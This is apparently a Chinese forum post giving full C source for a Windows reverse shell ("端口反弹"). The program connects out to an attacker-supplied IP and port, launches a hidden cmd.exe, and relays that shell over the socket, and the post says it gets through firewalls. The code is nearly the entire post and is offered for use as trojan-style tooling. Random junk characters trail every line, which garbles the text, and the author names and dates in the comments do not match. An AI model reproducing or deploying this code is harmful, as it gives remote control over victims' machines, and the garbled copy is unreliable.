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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4.Q[Tu  
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/* ============================== /Xq|S O  
Rebound port in Windows NT IgjPy5k  
By wind,2006/7 &pf"35ll  
===============================*/ 25f[s.pv8  
#include L@'2}7N1%  
#include $Zr \$z2  
&pQ[(|=(  
#pragma comment(lib,"wsock32.lib") M]|]b-#  
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void OutputShell(); Ee_?aG e&  
SOCKET sClient; a@Vk(3Rx_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vz(=3C[  
/!JxiGn  
void main(int argc,char **argv) sSf;j,7V  
{ yEMM@5W)8  
WSADATA stWsaData; ^*YoNd_kpN  
int nRet; P*jiz@6  
SOCKADDR_IN stSaiClient,stSaiServer; ,PoG=W  
g&S> Wq%L  
if(argc != 3) LGw-cX #  
{ _Ss}dU9  
printf("Useage:\n\rRebound DestIP DestPort\n"); )Tieef*Q~  
return; k.7!)jL7  
} tU$n3Bg  
*<:6A&'D9  
WSAStartup(MAKEWORD(2,2),&stWsaData); WJxcJE  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pTaC$Ne  
y4! :l=E^  
stSaiClient.sin_family = AF_INET; 7Vk9{x$z  
stSaiClient.sin_port = htons(0); UD8e,/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rp;"]Q&b  
"@5qjLz]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _k : BY  
{ '4 It>50b  
printf("Bind Socket Failed!\n"); w_V A:]j4  
return; s$zm)y5  
} [ #ih o(/  
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stSaiServer.sin_family = AF_INET; M)ao}m>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r;)31Tg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !VaC=I^{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :ssj7wl :  
{ W}N7jPO}  
printf("Connect Error!"); #6 ni~d&0  
return; g_n_Qlo  
} J5{  
OutputShell(); 8KN 3|)  
} QgKR=GR6  
H)h^|A/vO  
void OutputShell() 7x77s  
{ `\|@w@f|;  
char szBuff[1024]; Nmd{C(^o  
SECURITY_ATTRIBUTES stSecurityAttributes; |QF_E4ISD  
OSVERSIONINFO stOsversionInfo; q"@ #FS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }A]e C  
STARTUPINFO stStartupInfo; R!%HQA1U  
char *szShell; ~ o2Z5,H  
PROCESS_INFORMATION stProcessInformation; *iY:R  
unsigned long lBytesRead; WVsj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AbhR*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IA&V?{OE@I  
stSecurityAttributes.lpSecurityDescriptor = 0; q.<)0nk  
stSecurityAttributes.bInheritHandle = TRUE; /P-#y@I  
l.]wBH#RS  
T{^P  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?&zi{N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r7].48D  
5!S#}=f=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pH.&C 5kA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i-;#FT+ Xc  
stStartupInfo.wShowWindow = SW_HIDE; PH&Qw2(Sx  
stStartupInfo.hStdInput = hReadPipe; TDbSK&w :s  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  @)0  
;~L,Aqn7  
GetVersionEx(&stOsversionInfo); 5073Q~  
6$:Q]zR#'H  
switch(stOsversionInfo.dwPlatformId)  DAiS|x  
{ x#&_/oqAk  
case 1: jjQDw=6  
szShell = "command.com"; z. X hE \  
break; M9o/6  
default: fzw:[z:%  
szShell = "cmd.exe"; X`EVjK  
break; 7]{t^*  
} nS h~ mP  
CbW[_\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [&4+ <Nl'  
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send(sClient,szMsg,77,0); ]" e'z  
while(1) KQb&7k .  
{ MRXw)NAw  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >q&5Z   
if(lBytesRead) ^n<YO=|u  
{ U^|T{g+O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U}DE9e{/!  
send(sClient,szBuff,lBytesRead,0); ]T|$nwQ  
} fMUh\u3  
else !ht2*8$lQ  
{ Wu<;QY($5  
lBytesRead=recv(sClient,szBuff,1024,0); 4eB oR%2o  
if(lBytesRead<=0) break; 6it [i@*"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YmFg#eS  
} t:V._@  
} g 8uq6U  
iZiT/#,H2  
return; F .Zk};lb  
}
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